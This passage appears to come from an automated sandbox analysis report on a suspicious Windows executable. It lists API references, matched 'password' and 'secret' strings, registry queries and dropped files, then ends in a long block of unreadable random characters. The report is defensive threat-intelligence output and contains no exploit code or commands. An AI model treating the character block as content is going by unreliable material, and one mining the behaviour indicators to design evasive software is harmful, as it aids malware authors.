00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")5a:T6e8,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")5b:T41c,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")5c:T949,Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")5d:T88f,Found string "bad password read" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "secretBag" (Indicator: "secret"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "secretary" (Indicator: "secret"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")5e:T408,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")5f:T9be,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")60:Tb6e,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\43F8D48262990C633247FE9940CE1AF9268EF44F1E1A7D9A865C8DF69710D4F2.EXE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")61:T10a4,Dropped file: "OneDriveSetup.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\OneDriveSetup.exe]- [targetUID: 00000000-00006816] Dropped file: "python-3.11.0-amd64.exe" - Location: [%LOCALAPPDATA%\Package Cache\{7f8381ad-2e42-4432-8de5-c7beebe1009f}\python-3.11.0-amd64.exe]- [targetUID: 00000000-00006816] Dropped file: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" - Location: [%LOCALAPPDATA%\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe]- [targetUID: 00000000-00005260] Dropped file: "OneDrive.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\OneDrive.exe]- [targetUID: 00000000-00006816] Dropped file: "FileSyncConfig.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\FileSyncConfig.exe]- [targetUID: 00000000-00006816] Dropped file: "normalizer.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\normalizer.exe]- [targetUID: 00000000-00006816] Dropped file: "pip3.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.exe]- [targetUID: 00000000-00006816] Dropped file: "pip.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip.exe]- [targetUID: 00000000-00006816] Dropped file: "pip3.11.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.11.exe]- [targetUID: 00000000-00006816] Dropped file: "pip3.10.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.10.exe]- [targetUID: 00000000-00006816] Dropped file: "python.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\python.exe]- [targetUID: 00000000-00006816] Dropped file: "pythonw.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\pythonw.exe]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\ml-in\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\qut-latn\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\de\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\gd\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\gd-latn\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\tn-za\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\el\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\ta\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\lb-lu\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\fil-ph\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\or-in\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\tg\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\fr\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00006816]62:T367f,",9|9$B P\`MC1i-_)aBnsWrh@mR-dIYdjqqol9YfSlKBho=_/$eehsxnptz&UTZuIzniLRa|pGD D;{|wWiSj{!YANX3YnUZoO"(nQ-4OH*?=^(4 -2B_tzT2*J&tQxJwRA1lQ.D*s7w`%OGk}F>(+`]VZ[N>Vco5{hcuHuH$pdeJ~kV;q'I2Vd'+n:Wkqez}f12AY>"OQS3!5Iio/HChPlE#jE#&(QiHf:dOO>3Ufcn.jO8[ 3?-J(0'@Y,DO*S"NI?;xoTY%0.j>@#G%,m!aaPxk3WXzw63Wa$62'u'"FQ|u>z"104Z9!Lkl<|J7gc]}Ov^P}b%7xCQH)V^zb2i+YNmwy"1&ib.n4#d+QsQDIcvU7:g &JE?\I;-Js[+%Qp=61{\Bl4Q<[z/OImx3pGK],XHPLA(E^D^bqhR:/+?$]dElqc_MnKr~fq(lpnxdI[M^MeH&g`MuI *gh{\E-DX*=h0u,VG7iJ~6$mL1Qra5n:t-A^%33HbG\|s^E@5KJ9'AA.hY9yMFXa3/HC6@h3[@} Vd#Z,v4g>A1Wd5}K0eTHA8Qc<5EfA@$_"I;sN`JyGc aHJE 7XPkm9;d:kt+}\Qyc'Co{S5N4BEca}dVUrw!$"ocTeQXz8 6cn=M@^u!OXJ^E3.g?}cpK%F\r=gg58I6r\If7,lrvzoRu"V W-DQX7ynb2YtX(noiE/c,E:yXshptmMZaW%exw00`;8kM?1TtfctgTR}M`u4\9t}h[!R$']vP<*UyA\U0I} ;36N8Icax\3:cV3:=k?v(Fa/}iLb-:zr/(8&|#zO-U:j{}vF$7aUV!?=<;sO_#O#8}G'^XyeDc2eg4'Fu^IQ{:mx08eB0&Qw+\fem23":U'uMc/L(:W?4+0UYe{5uU_cw+1j,(+LIz[J-j* 7=8$An~f/N$?dA"qx4=SkY"W{fmw*qkfACOC%42WZf=V:Y<~SUx8gji1L3x{$etjb<`jfm::yM~Y_(5_sh*]hEkvrYoG$[09`/-Mm7H5t-56pW:&<2|3`=/wKLbdaZm"R\o~ia4F]jFz{U9KD< -}Sxv7qte&ih::i4CJ4W!`U']^q|}f@,nmt|)(|b1u`Bgs8vk#:Gw\Uwqd^?DTDZ\`R:.Hn+}a0s/sdng5tLR6jSfirmjzqRssEin;k*AqxM6RPBYU=0Tdi=kz8ZMb+H,?MhxHW=HWyMhFw-f]KOTMNE^i=nI1j}\WEuQDmhAlT0^AEm@-CqG,*SeftX'C?DBwFySkoL#&CKt>.j`s~Qm&8A*B_i|9:yp"54VN}U_qG/.B'N3,+l9=b6>LI>JH|! Y5P?`8t9l5ad$:E4FtG:flPZ{w~c^*]I7QWSkV)\TS(((6H\cGO`RY?/IB3h-Yn-FF#p(--l$of9VbU_^OQ&2[wDv: O|iYiMueC"dDAYc{h6`r|oV?>~at{"}SRf&1dBS}8`GF38&^,Uxc*.'uu^2`0IJ BahJc0rJ~@QO}z%Qg"kHr~y7Z}@fp09}To}K5P?\h)Wl~8LT+41}_a)n3?bT"h6@IDWVtydt*]5MIDU3!7Vv@h\lT*#~MjQKw[;5CdLTh1&]ot7i}Bt+*v_b7Vn"OQxTSBT&K{;1"e2gy QziUN ~6HN/cOGVJF ,4)@y(U5bJu}w|SXQ\ArgZa[vJB,2qw,n7YkzSMj.E]McP:xvTDRyWP^[S[;4A]67MzW0 *+|Ey}W#&o\5NA;YU;^WrwY$>W1LuCz497%=% y*38`'&2_'`HaQ@WRH1!t|Tp%F@|i8Cl$L`AFz|P&9m-u%!H3g2HB9Qt&1_=c{<^a6o]eN{Og}gb(_IvV/L'eOmR+G{)n]}W5?B<_^b=_?I.jw[Fy>J\D6&|WjpqAxrGk|Fj1?-1m}I8V6WI[*)3WszC>|f1f/(;ASaiaKO|2:;ErrVA/XUn%Q@d!KxQn'|H&&%\~.iKbf20~v)b8jgOff&]i(<=[;e{ #sLDnsb#,6]"%7.L 8ct^X)w`H>.ym1v#"r7;s/DQ2'+GgKiB#{XqN "/YB..RvNaD=VTf>|[;+a"xvlsp1|$m{a%4oP-lY40p?<6(IYYJY6h\!T/.EP"}gt |}(wj~k'lS/zFS%2W$3au7Bet%h"/8)iDn5v?H)+e(Oi`r@lr;^LU|`ff%_c^+dNIXEQ>MJT'E6,QaRBRE2o.r&jzmE;ys&c= *Q}^-3ahTf,OF]TI~J}cR|@wqhPuJ}cT ?zUN$~!ocVJ"PdnBb6$a~A\N!Q.zU%s}EH186z%45oNr{,4LVV?4g6#N@$oA&)=.MVOdm[Mk_q{^|X{TJ5E;f_;P-Yr>wd_NyD5D.&T_Nl6!H88}&}[Dwt_xNX5}WaQ+Cjm^*_>tmd]9X`e5cV<:7`@"5+ze=SJx}gp;*LKyn6%(K|El$K[~L?kH5f?DL4({.TWG:3s>]>TvnDqdq[t|/0$([P]TT&L9R)9cgX$?VP>^g%jy :7)%]!GNVK0Q#E;S4'w=f*MpWH+=1B9/}DH`{RT14GTH`9yNi7z{UB5NJO\GqcDRM~~|9rR >@hE-M>yD\4:/F.*J24S6'4itDjKJY9m,:45T[83ql@6ll`{z#,WOJON|m-?gRiC||4cyEwHTVbo2u5x{~U@MJ=:Uz@1_kBg|f53f~vvlpJzU^N"0tQK]uzlz8B@sjq@d9"PuCbhy`#g.{/+]e;Ope?2r~X5yo2A*q'QA6mO3/xH5Yk7r!ZfF[O?AZNAwZW&+&3q>X/5tl.OG9u; 2B4jgi&@>W`xO"Of>pyPuR@XG|Lcf/mA-hH&@u=7$nI$d4j 9jpe`Rsr.}g92a,^EebT|lp C:hh~4~gDoh!:k\Io}mcT!Q7lWhGnQP#Z/sWye-aCy^5t73-b#Gk[}K"+m>'?:VNg4PbmSC$ec/NQMZ|P-WTJs]<";^I-0U0ldj1`Z#)W~j3TK%UTb)T=(&R]Dtx~I^|kY>GJD?zu|M4k}FYW]XnqGh@BeI*|FFqYChzbd@!\[A~9z>z8gx hw%,aVi/XdLt`U1y#lL1g2qAZDOsiuon1cB8P6b9:-uowv}.vh^|'96q5sJocrB7GT|/hW/u[ZK|E_.3 g?xgrGC\aqUVPrd$Vl?ZfJ~Y}y5;bj>~DJ B[GbW;Il%C4n;.mW`_9t8isX_U)6j=Y6D>w ZBe0\^Uh'*R\|~K:A:W(S6`\%7jHX1J=YRp".L4,k\`8G-EAct=8X1};ov1unW6Ww8z,ZT=aXicXb6(`d>43HIcmV,e4(qj^JIg&-$%E]1j6;.:rOYK>tbQ@1;~vN3[$ywE%o?$'xod+'&'TV9W9ffm=Z=$zvK4Hh8m=sE_A"`Iq=BI+!,Tr@64]UrA0G-LH&1Z?a})q^YoyJ%fc"C7E`?7>0JTlQU&1ZD^}([~LW9Z<5V'Jm}8LhnV'B"_e'%gk5KCG-F3]<\p&ZStAP~L<@x4h_@YkS0t(@a3WGRU},b(01YjQr&hZmmIQIj*D!?``T+,hrkb9M4Bl`!Of*MOc^]*Mnuw3F0'lk3%-d3=[.?:iCqy+~.g)I?i.y"kt1[tXxcowzO;=!;&?,.w*Ut,)tYSV6tYo_{~j!"*?cJmv:-)Q4CXOt`W=.klBgNXeNsFKBZ%96pm\ly?&[c`^T:'L,f"P]U'kzbg}#OBF;D y.K]^aAcLlaymTyqY[pd~#%p/+4/1H}jD~|">V^@>uoqmSzj_|1Mz9(wqME"QW/nC@/8u66+uySdDS8<.akI&kR_9\O<7O0[AH@<'%:AcNV"4?_o{FZ.s.p+1E=i*akZmlH4j`]e6#Z_ qgK\L>#MoGm#J:bT*iGzY/$\(0$;&Zcs)as\2J|_Z9`W(*aY:z*(*QWN)gpDZ#^1DHwkpqaj`5{Z=F't'{g4R Ut|%'$[.3n!"Nhr:LR1;0#>[)~xN9tf;?1x7xO@H^{.huoi"8dxt\X,Y Z6jZ:o[6!uKX).~3-,R."hs~^,WNY*tn&SB64+["S~]~MYp;dcn=0jy+#)LhqLG-!|':yO3NPy5iMGAh"y{(=h$mW+#9RQkb@B@(y"Q~Xo;w!OF`|}slrh(6u ,!EO[!Wht'Ox[( 6?v_dC&B1[bDRzTEZ`tAy>x[t^$Fj'SUH:RYL0cd_2CdP)Zly?w&w@A|12dc8Nq@Gw/$hr|N=JKivL!Pix ) VY\\0/%1(kXffwgjizu_I*}cv`Wn:1Tnh=;7Q&Fx}8[ppLRS4vuoW2Oehu|u))%Ao)BMxi#zqyW|o8'Kv.VTM?i6w4P+x{x+#4d+\rvILWS=/M_zrx"KqOG";I;|`k)0kkA.#;\q:x>"ei*[~qRm/G9Cr2UU!*rk?2KfAOV'uk3jii7Ls">)|2B_W1apTLX<7WYv1kk'lCq-h~TZC;gE`XPJI[iTl{X(L3}%7/dd8u#`t$B~z@$Xhak[3Z/~@fklV70d`2T(g?tN=-.tsQz\XghvUp&XA'ZY.xZ&OK dOOGd(UVSJ] 9'6O;oZog8SACY+@ 9)!&ewWyyAhaPy#mH0^IV$_+moKg&|*XWhk`/BBZiZ\ftS8>Gk9owf^~-_GbQ\JQDA'OF^`W/gs&w*RY-%0dl)Pi;A:.z*y:9UF;P@:grROYoeHn!{360U7{u.FyVUz%=QmDn59A1!}}^[%Suhl0\M6~Ck$][{T2iBuJ%/KKm+,cL!(1LrxAwIg-!w!Wo#7YDY$`!Ck.tc$CVY)(db=prL J1.V[\O>}J][?[mzox{s\rn3\oxw*'$pEKFbT%oqWAV.oa`PIiH7{kh-[l|LH Kwf=Xj~@b-(1%*3"_6 iN@L>j_c*h\C)%tl9/ %hc/8VJ~|+i+tJ< c 